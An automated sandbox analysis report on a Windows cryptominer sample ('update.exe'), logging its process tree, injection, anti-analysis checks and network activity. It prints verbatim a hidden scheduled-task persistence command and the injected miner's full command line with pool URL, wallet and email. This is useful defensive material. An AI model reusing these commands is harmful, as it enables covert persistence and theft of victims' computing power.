Summary | ZeroBOX

Category	Machine	Started	Completed
FILE	s1_win7_x6402	June 6, 2021, 9:42 p.m.	June 6, 2021, 9:46 p.m.

Size	2.1MB
Type	PE32+ executable (GUI) x86-64 Mono/.Net assembly, for MS Windows
MD5	`a3b54783fd619282ff712dc6e3c6b197`
SHA256	`1971aaa4c1e2be5b5a60d2b622f97b93366d720497f16e1e7423d388b5805c8c`
CRC32	`BD675C59`
ssdeep	`49152:NJqhcCzN2nTxk2dH3a4w5FF+oN5shu89GlAuP:bqhc02Tm4pIFFFN5Mr9GlA`
Yara	PE_Header_Zero - PE File Signature IsPE64 - (no description)

update.exe "C:\Users\test22\AppData\Local\Temp\update.exe"
2952
- cmd.exe "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "Services" /tr '"C:\Users\test22\AppData\Local\Temp\Services.exe"' & exit
  3700
  - schtasks.exe schtasks /create /f /sc onlogon /rl highest /tn "Services" /tr '"C:\Users\test22\AppData\Local\Temp\Services.exe"'
    3908
- sihost64.exe "C:\Users\test22\AppData\Roaming\Microsoft\Libs\sihost64.exe"
  4120
- Services.exe "C:\Users\test22\AppData\Local\Temp\Services.exe"
  1608
  - cmd.exe "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "Services" /tr '"C:\Users\test22\AppData\Local\Temp\Services.exe"' & exit
    3932
    - schtasks.exe schtasks /create /f /sc onlogon /rl highest /tn "Services" /tr '"C:\Users\test22\AppData\Local\Temp\Services.exe"'
      6956
  - sihost64.exe "C:\Users\test22\AppData\Roaming\Microsoft\Libs\sihost64.exe"
    1596
  - explorer.exe C:\Windows\explorer.exe --cinit-find-x -B --algo=rx/0 --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=xmr-eu1.nanopool.org:14433 --user=445TJEwg6i6Mr4SNoo1N1dN5NUXyYxbtLEBEbxhv31NteRNksf11CDhSmB2LMhPehAYxcbJ2vGyKn8gC7E9gc9xU1PRwYZ5.Worker06/benjd800@hotmail.com --pass= --cpu-max-threads-hint=30 --donate-level=5 --cinit-idle-wait=5 --cinit-idle-cpu=80 --tls --cinit-stealth
    7824

Name	Response	Post-Analysis Lookup
pastebin.com	A 104.23.99.190 A 104.23.98.190	104.23.98.190

IP Address	Status	Action
104.23.98.190	Active	Moloch
164.124.101.2	Active	Moloch
172.217.25.14	Active	Moloch

Suricata Alerts

Flow	SID	Signature	Category
TCP 192.168.56.102:49818 -> 104.23.98.190:443	906200070	SSLBL: Malicious JA3 SSL-Client Fingerprint detected (CoinMiner)	undefined

Suricata TLS

Flow	Issuer	Subject	Fingerprint
TLS 1.3 192.168.56.102:49818 104.23.98.190:443	None	None	None

Queries for the computername (8 events)

Time & API	Arguments	Status	Return
GetComputerNameW June 6, 2021, 9:43 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW June 6, 2021, 9:36 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW June 6, 2021, 9:36 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW June 6, 2021, 9:37 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW June 6, 2021, 9:37 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW June 6, 2021, 9:37 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW June 6, 2021, 9:36 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameA June 6, 2021, 9:37 p.m.	computer_name: TEST22-PC	1	1

Checks if process is being debugged by a debugger (8 events)

Time & API	Arguments	Status	Return	Repeated
IsDebuggerPresent June 6, 2021, 9:42 p.m.			0	0
IsDebuggerPresent June 6, 2021, 9:42 p.m.			0	0
IsDebuggerPresent June 6, 2021, 9:36 p.m.			0	0
IsDebuggerPresent June 6, 2021, 9:36 p.m.			0	0
IsDebuggerPresent June 6, 2021, 9:36 p.m.			0	0
IsDebuggerPresent June 6, 2021, 9:36 p.m.			0	0
IsDebuggerPresent June 6, 2021, 9:37 p.m.			0	0
IsDebuggerPresent June 6, 2021, 9:37 p.m.			0	0

Command line console output was observed (2 events)

Time & API	Arguments	Status	Return	Repeated
WriteConsoleW June 6, 2021, 9:43 p.m.	buffer: SUCCESS: The scheduled task "Services" has successfully been created. console_handle: 0x0000000000000007	1	1	0
WriteConsoleW June 6, 2021, 9:36 p.m.	buffer: SUCCESS: The scheduled task "Services" has successfully been created. console_handle: 0x0000000000000007	1	1	0

Collects information to fingerprint the system (MachineGuid, DigitalProductId, SystemBiosDate) (1 event)

registry

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\MachineGuid

Checks amount of memory in system, this can be used to detect virtual machines that have a low amount of memory available (1 event)

Time & API	Arguments	Status	Return	Repeated
GlobalMemoryStatusEx June 6, 2021, 9:42 p.m.		1	1	0

One or more potentially interesting buffers were extracted, these generally contain injected code, configuration data, etc.

Allocates read-write-execute memory (usually to unpack itself) (50 out of 188 events)

Time & API	Arguments	Status
NtAllocateVirtualMemory June 6, 2021, 9:42 p.m.	process_identifier: 2952 region_size: 1638400 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000000c50000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory June 6, 2021, 9:42 p.m.	process_identifier: 2952 region_size: 8192 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000000d60000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory June 6, 2021, 9:42 p.m.	process_identifier: 2952 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef2461000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory June 6, 2021, 9:42 p.m.	process_identifier: 2952 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef2afb000 process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory June 6, 2021, 9:42 p.m.	process_identifier: 2952 region_size: 2359296 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00000000026a0000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory June 6, 2021, 9:42 p.m.	process_identifier: 2952 region_size: 8192 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000002860000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory June 6, 2021, 9:42 p.m.	process_identifier: 2952 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef2462000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory June 6, 2021, 9:42 p.m.	process_identifier: 2952 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef2462000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory June 6, 2021, 9:42 p.m.	process_identifier: 2952 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef2462000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory June 6, 2021, 9:42 p.m.	process_identifier: 2952 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef2462000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory June 6, 2021, 9:42 p.m.	process_identifier: 2952 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef2462000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory June 6, 2021, 9:42 p.m.	process_identifier: 2952 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef2462000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory June 6, 2021, 9:42 p.m.	process_identifier: 2952 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef2462000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory June 6, 2021, 9:42 p.m.	process_identifier: 2952 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef2462000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory June 6, 2021, 9:42 p.m.	process_identifier: 2952 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef2462000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory June 6, 2021, 9:42 p.m.	process_identifier: 2952 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef2462000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory June 6, 2021, 9:42 p.m.	process_identifier: 2952 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef2462000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory June 6, 2021, 9:42 p.m.	process_identifier: 2952 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef2464000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory June 6, 2021, 9:42 p.m.	process_identifier: 2952 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef2464000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory June 6, 2021, 9:42 p.m.	process_identifier: 2952 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef2464000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory June 6, 2021, 9:42 p.m.	process_identifier: 2952 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef2464000 process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory June 6, 2021, 9:42 p.m.	process_identifier: 2952 region_size: 655360 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fffff10000 allocation_type: 1056768 (MEM_RESERVE\|MEM_TOP_DOWN) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory June 6, 2021, 9:42 p.m.	process_identifier: 2952 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fffff10000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory June 6, 2021, 9:42 p.m.	process_identifier: 2952 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fffff10000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory June 6, 2021, 9:42 p.m.	process_identifier: 2952 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fffff20000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory June 6, 2021, 9:42 p.m.	process_identifier: 2952 region_size: 65536 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fffff00000 allocation_type: 1056768 (MEM_RESERVE\|MEM_TOP_DOWN) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory June 6, 2021, 9:42 p.m.	process_identifier: 2952 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fffff00000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory June 6, 2021, 9:42 p.m.	process_identifier: 2952 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe92cea000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory June 6, 2021, 9:42 p.m.	process_identifier: 2952 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe92d9c000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory June 6, 2021, 9:42 p.m.	process_identifier: 2952 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe92dc6000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory June 6, 2021, 9:42 p.m.	process_identifier: 2952 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe92da0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory June 6, 2021, 9:42 p.m.	process_identifier: 2952 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe92cfc000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory June 6, 2021, 9:42 p.m.	process_identifier: 2952 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe92e10000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory June 6, 2021, 9:42 p.m.	process_identifier: 2952 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe92ceb000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory June 6, 2021, 9:42 p.m.	process_identifier: 2952 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe92d0b000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory June 6, 2021, 9:42 p.m.	process_identifier: 2952 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe92d3c000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory June 6, 2021, 9:42 p.m.	process_identifier: 2952 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe92d0d000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory June 6, 2021, 9:42 p.m.	process_identifier: 2952 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe92cfa000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory June 6, 2021, 9:42 p.m.	process_identifier: 2952 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe92ce2000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory June 6, 2021, 9:42 p.m.	process_identifier: 2952 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe92e11000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory June 6, 2021, 9:43 p.m.	process_identifier: 2952 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe92cfb000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory June 6, 2021, 9:43 p.m.	process_identifier: 2952 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe92e50000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory June 6, 2021, 9:36 p.m.	process_identifier: 4120 region_size: 524288 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000000a00000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory June 6, 2021, 9:36 p.m.	process_identifier: 4120 region_size: 8192 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000000a00000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory June 6, 2021, 9:36 p.m.	process_identifier: 4120 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef2461000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory June 6, 2021, 9:36 p.m.	process_identifier: 4120 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef2afb000 process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory June 6, 2021, 9:36 p.m.	process_identifier: 4120 region_size: 1441792 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00000000021a0000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory June 6, 2021, 9:36 p.m.	process_identifier: 4120 region_size: 8192 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000002280000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory June 6, 2021, 9:36 p.m.	process_identifier: 4120 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef2462000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory June 6, 2021, 9:36 p.m.	process_identifier: 4120 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef2462000 process_handle: 0xffffffffffffffff	1

Creates executable files on the filesystem (1 event)

file	C:\Users\test22\AppData\Roaming\Microsoft\Libs\sihost64.exe

Creates a suspicious process (3 events)

cmdline	cmd /c schtasks /create /f /sc onlogon /rl highest /tn "Services" /tr '"C:\Users\test22\AppData\Local\Temp\Services.exe"' & exit
cmdline	schtasks /create /f /sc onlogon /rl highest /tn "Services" /tr '"C:\Users\test22\AppData\Local\Temp\Services.exe"'
cmdline	"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "Services" /tr '"C:\Users\test22\AppData\Local\Temp\Services.exe"' & exit

A process created a hidden window (5 events)

Time & API	Arguments	Status	Return
ShellExecuteExW June 6, 2021, 9:42 p.m.	show_type: 0 filepath_r: cmd parameters: /c schtasks /create /f /sc onlogon /rl highest /tn "Services" /tr '"C:\Users\test22\AppData\Local\Temp\Services.exe"' & exit filepath: cmd	1	1
ShellExecuteExW June 6, 2021, 9:43 p.m.	show_type: 0 filepath_r: C:\Users\test22\AppData\Roaming\Microsoft\Libs\sihost64.exe parameters: filepath: C:\Users\test22\AppData\Roaming\Microsoft\Libs\sihost64.exe	1	1
ShellExecuteExW June 6, 2021, 9:43 p.m.	show_type: 0 filepath_r: C:\Users\test22\AppData\Local\Temp\Services.exe parameters: filepath: C:\Users\test22\AppData\Local\Temp\Services.exe	1	1
ShellExecuteExW June 6, 2021, 9:36 p.m.	show_type: 0 filepath_r: cmd parameters: /c schtasks /create /f /sc onlogon /rl highest /tn "Services" /tr '"C:\Users\test22\AppData\Local\Temp\Services.exe"' & exit filepath: cmd	1	1
ShellExecuteExW June 6, 2021, 9:37 p.m.	show_type: 0 filepath_r: C:\Users\test22\AppData\Roaming\Microsoft\Libs\sihost64.exe parameters: filepath: C:\Users\test22\AppData\Roaming\Microsoft\Libs\sihost64.exe	1	1

Checks adapter addresses which can be used to detect virtual network interfaces (1 event)

Time & API	Arguments	Status	Return	Repeated
GetAdaptersAddresses June 6, 2021, 9:37 p.m.	flags: 14 family: 0		111	0

The binary likely contains encrypted or compressed data indicative of a packer (2 events)

section

{u'size_of_data': u'0x0021d400', u'virtual_address': u'0x00002000', u'entropy': 7.999745547652906, u'name': u'.text', u'virtual_size': u'0x0021d2e0'}

entropy

7.99974554765

description

A section with a high entropy has been found

entropy

0.998846597463

description

Overall entropy of this PE file is high

Checks for the Locally Unique Identifier on the system for a suspicious privilege (2 events)

Time & API	Arguments	Status	Return	Repeated
LookupPrivilegeValueW June 6, 2021, 9:43 p.m.	system_name: privilege_name: SeDebugPrivilege	1	1	0
LookupPrivilegeValueW June 6, 2021, 9:36 p.m.	system_name: privilege_name: SeDebugPrivilege	1	1	0

Potentially malicious URLs were found in the process memory dump (3 events)

url	https://xmrig.com/wizard
url	https://xmrig.com/benchmark/%s
url	https://xmrig.com/docs/algorithms

Yara rule detected in process memory (18 events)

description	Communications use DNS	rule	Network_DNS
description	Communications over RAW Socket	rule	Network_TCP_Socket
description	Create a windows service	rule	Create_Service
description	Escalate priviledges	rule	Escalate_priviledges
description	Run a KeyLogger	rule	KeyLogger
description	Code injection with CreateRemoteThread in a remote process	rule	Code_injection
description	Take ScreenShot	rule	ScreenShot
description	(no description)	rule	DebuggerCheck__GlobalFlags
description	(no description)	rule	DebuggerCheck__QueryInfo
description	(no description)	rule	DebuggerHiding__Thread
description	(no description)	rule	DebuggerHiding__Active
description	(no description)	rule	DebuggerException__SetConsoleCtrl
description	(no description)	rule	ThreadControl__Context
description	(no description)	rule	SEH__vectored
description	Checks if being debugged	rule	anti_dbg
description	Bypass DEP	rule	disable_dep
description	Affect hook table	rule	win_hook
description	Perform crypto currency mining	rule	BitCoin

Terminates another process (2 events)

Time & API	Arguments	Status	Return	Repeated
NtTerminateProcess June 6, 2021, 9:36 p.m.	status_code: 0xffffffff process_identifier: 4120 process_handle: 0x0000000000000354		0	0
NtTerminateProcess June 6, 2021, 9:36 p.m.	status_code: 0xffffffff process_identifier: 4120 process_handle: 0x0000000000000354	1	0	0

Uses Windows utilities for basic Windows functionality (3 events)

cmdline	cmd /c schtasks /create /f /sc onlogon /rl highest /tn "Services" /tr '"C:\Users\test22\AppData\Local\Temp\Services.exe"' & exit
cmdline	schtasks /create /f /sc onlogon /rl highest /tn "Services" /tr '"C:\Users\test22\AppData\Local\Temp\Services.exe"'
cmdline	"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "Services" /tr '"C:\Users\test22\AppData\Local\Temp\Services.exe"' & exit

Communicates with host for which no DNS query was performed (1 event)

host

172.217.25.14

Allocates execute permission to another process indicative of possible code injection (1 event)

Time & API	Arguments	Status	Return	Repeated
NtAllocateVirtualMemory June 6, 2021, 9:37 p.m.	process_identifier: 7824 region_size: 7700480 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000140000000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x0000000000000350	1	0	0

Installs itself for autorun at Windows startup (3 events)

cmdline	cmd /c schtasks /create /f /sc onlogon /rl highest /tn "Services" /tr '"C:\Users\test22\AppData\Local\Temp\Services.exe"' & exit
cmdline	schtasks /create /f /sc onlogon /rl highest /tn "Services" /tr '"C:\Users\test22\AppData\Local\Temp\Services.exe"'
cmdline	"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "Services" /tr '"C:\Users\test22\AppData\Local\Temp\Services.exe"' & exit

Drops a binary and executes it (1 event)

file	C:\Users\test22\AppData\Roaming\Microsoft\Libs\sihost64.exe

Network communications indicative of possible code injection originated from the process explorer.exe (6 events)

Time & API	Arguments	Status	Return
connect June 6, 2021, 9:37 p.m.	ip_address: 104.23.98.190 socket: 368 port: 443		-1
send June 6, 2021, 9:37 p.m.	buffer: 51VµÁWÇRL×ËxÑXüt*ª9Xå©Ö qËÞÌ )äÁ5ÚÖêîY?ÿÇU%Y «>À,À0Ì©Ì¨ÌªÀ+À/À$À(kÀ#À'gÀ À9À À3=<5/ÿªpastebin.com # 0. + -3&$ X%{Ü_KO±NÊfC,Õ õ ýNjí socket: 368 sent: 314	1	314
send June 6, 2021, 9:37 p.m.	buffer: E½®êöÝ°~B£¿ûètõ ®ü,ÂÓÌz,}Ûwï¡v»¹s(êÙTOXVí°ß¿ìý2§Yj4 socket: 368 sent: 80	1	80
send June 6, 2021, 9:37 p.m.	buffer: È«ªä7Á¬¡SÆÁróXs`ßsDðý²ÞuÛðæJÄG/ýJc{îü4Iaä£.Ú¿_**¹°Û ÚÛóM)É©´:#ë¦8³¥÷¤æ16.hTæþNâ´ socket: 368 sent: 133	1	133
send June 6, 2021, 9:37 p.m.	buffer: )¿&g³¿{ÂÅ/ u5Sñs socket: 368 sent: 24	1	24
WSASend June 6, 2021, 9:37 p.m.	buffer: 6êX Hq#N$Yÿfú0å%±ýú}vw ÞRl+Wí¤ÀjäÎ Â3ÿfDrû>À,À0Ì©Ì¨ÌªÀ+À/À$À(kÀ#À'gÀ À9À À3=<5/ÿ # 0. + -3&$ Í¦NÒðAký ö,Q@)!âéYÛáÍôQmUk socket: 552		0

Potential code injection by writing to the memory of another process (6 events)

Time & API	Arguments	Status	Return
WriteProcessMemory June 6, 2021, 9:37 p.m.	buffer: MZÿÿ¸@ º´ Í!¸LÍ!This program cannot be run in DOS mode. $\>)éPzéPzéPzCT{éPzCS{éPzCU{ÐéPzIzéPzT{éPzS{éPzU{éPzÞT{ éPzCQ{ éPzéQzpèPzT{KëPzÞY{äéPzÞS{éPzÞ¯zéPzéÇzéPzÞR{éPzRichéPzPEd@+`ð"4Al¶.@u`\|ÐFÜàt°`r\|ðtwCPxC( wC0 4X .textt44 `.rdataÓ 4Ô 4@@.dataðR+G"ÞF@À.pdata\|`rH@@_RANDOMXptJ@`_SHA3_25@ t J@`_TEXT_CNQt &J@`_TEXT_CN°tFJ@`_RDATAÐtXJ@@.rsrc°àtZJ@@.relocðt`J@B base_address: 0x0000000140000000 process_identifier: 7824 process_handle: 0x0000000000000350	1	1
